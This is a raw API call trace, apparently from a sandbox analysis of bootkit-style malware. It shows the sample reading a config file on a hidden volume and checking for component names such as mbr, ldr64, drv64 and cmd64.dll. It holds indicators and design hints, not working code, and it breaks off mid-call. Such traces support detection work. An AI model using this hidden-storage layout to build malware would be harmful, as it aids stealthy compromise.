0xfffffa8003aa6e20 [0130.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.186] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.186] IdePortDispatch () returned 0x103 [0130.187] KeWaitForMutexObject () returned 0x0 [0130.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.187] KeLeaveCriticalRegion () [0130.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.187] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.187] KeEnterCriticalRegion () [0130.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.187] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.187] KeLeaveCriticalRegion () [0130.187] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.187] KeEnterCriticalRegion () [0130.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.187] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.187] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.187] KeLeaveCriticalRegion () [0130.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.187] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.187] KeEnterCriticalRegion () [0130.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.187] ExFreePoolWithTag (P=0xfffffa8003c08280, Tag=0x0) [0130.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.188] KeLeaveCriticalRegion () [0130.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.188] ReleaseMutex (hMutex=0xf0) returned 1 [0130.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.188] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.188] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.188] KeEnterCriticalRegion () [0130.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.188] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.188] IdePortDispatch () returned 0x103 [0130.188] KeWaitForMutexObject () returned 0x0 [0130.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.188] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.188] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.188] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.188] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.188] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08100 [0130.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.188] KeLeaveCriticalRegion () [0130.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.188] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.188] KeEnterCriticalRegion () [0130.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.188] KeLeaveCriticalRegion () [0130.188] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.189] KeEnterCriticalRegion () [0130.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.189] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.189] IdePortDispatch () returned 0x103 [0130.189] KeWaitForMutexObject () returned 0x0 [0130.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.189] KeLeaveCriticalRegion () [0130.189] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.189] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.189] KeEnterCriticalRegion () [0130.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d3a000 [0130.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.189] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.189] IdePortDispatch () returned 0x103 [0130.189] KeWaitForMutexObject () returned 0x0 [0130.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.190] IdePortDispatch () returned 0x103 [0130.190] KeWaitForMutexObject () returned 0x0 [0130.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.190] KeLeaveCriticalRegion () [0130.190] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.190] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.190] KeEnterCriticalRegion () [0130.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.190] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.190] KeLeaveCriticalRegion () [0130.190] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.190] KeEnterCriticalRegion () [0130.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.191] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.191] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.191] KeLeaveCriticalRegion () [0130.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.191] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.191] KeEnterCriticalRegion () [0130.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.191] ExFreePoolWithTag (P=0xfffffa8003c08100, Tag=0x0) [0130.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.191] KeLeaveCriticalRegion () [0130.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.191] ReleaseMutex (hMutex=0xf0) returned 1 [0130.191] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.191] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.191] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.191] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.191] KeEnterCriticalRegion () [0130.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.191] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.191] IdePortDispatch () returned 0x103 [0130.191] KeWaitForMutexObject () returned 0x0 [0130.191] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.191] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.191] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.191] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.191] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.191] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.191] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.192] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.192] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.192] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.192] KeLeaveCriticalRegion () [0130.192] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.192] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.192] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.192] KeEnterCriticalRegion () [0130.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.192] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.192] IdePortDispatch () returned 0x103 [0130.192] KeWaitForMutexObject () returned 0x0 [0130.192] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.192] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.192] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.192] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.192] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.192] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.192] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.192] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.192] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.192] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.193] KeLeaveCriticalRegion () [0130.193] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.193] ReleaseMutex (hMutex=0x100) returned 1 [0130.193] Sleep (dwMilliseconds=0x2bf20) [0130.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70ccab90, dwHighDateTime=0x1d24fa4)) [0130.200] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.200] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.200] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.200] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.200] KeEnterCriticalRegion () [0130.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.200] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.200] IdePortDispatch () returned 0x103 [0130.200] KeWaitForMutexObject () returned 0x0 [0130.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.201] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.201] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.201] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.201] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.201] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c010 [0130.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.201] KeLeaveCriticalRegion () [0130.201] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.201] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.201] KeEnterCriticalRegion () [0130.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.201] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.201] KeLeaveCriticalRegion () [0130.201] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.201] KeEnterCriticalRegion () [0130.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.201] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.201] IdePortDispatch () returned 0x103 [0130.201] KeWaitForMutexObject () returned 0x0 [0130.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.201] KeLeaveCriticalRegion () [0130.201] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.201] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.202] KeEnterCriticalRegion () [0130.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d3d000 [0130.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.202] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.202] IdePortDispatch () returned 0x103 [0130.202] KeWaitForMutexObject () returned 0x0 [0130.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.202] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.202] IdePortDispatch () returned 0x103 [0130.202] KeWaitForMutexObject () returned 0x0 [0130.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.202] KeLeaveCriticalRegion () [0130.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.203] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.203] KeEnterCriticalRegion () [0130.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.203] KeLeaveCriticalRegion () [0130.203] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.203] KeEnterCriticalRegion () [0130.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.203] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.203] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.203] KeLeaveCriticalRegion () [0130.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.203] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.203] KeEnterCriticalRegion () [0130.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.203] ExFreePoolWithTag (P=0xfffffa800294c010, Tag=0x0) [0130.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.203] KeLeaveCriticalRegion () [0130.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.203] ReleaseMutex (hMutex=0xf0) returned 1 [0130.203] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.203] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.203] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.203] KeEnterCriticalRegion () [0130.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.204] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.204] IdePortDispatch () returned 0x103 [0130.204] KeWaitForMutexObject () returned 0x0 [0130.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.204] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.204] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.204] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.204] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.204] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c5b0 [0130.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.204] KeLeaveCriticalRegion () [0130.204] IofCompleteRequest 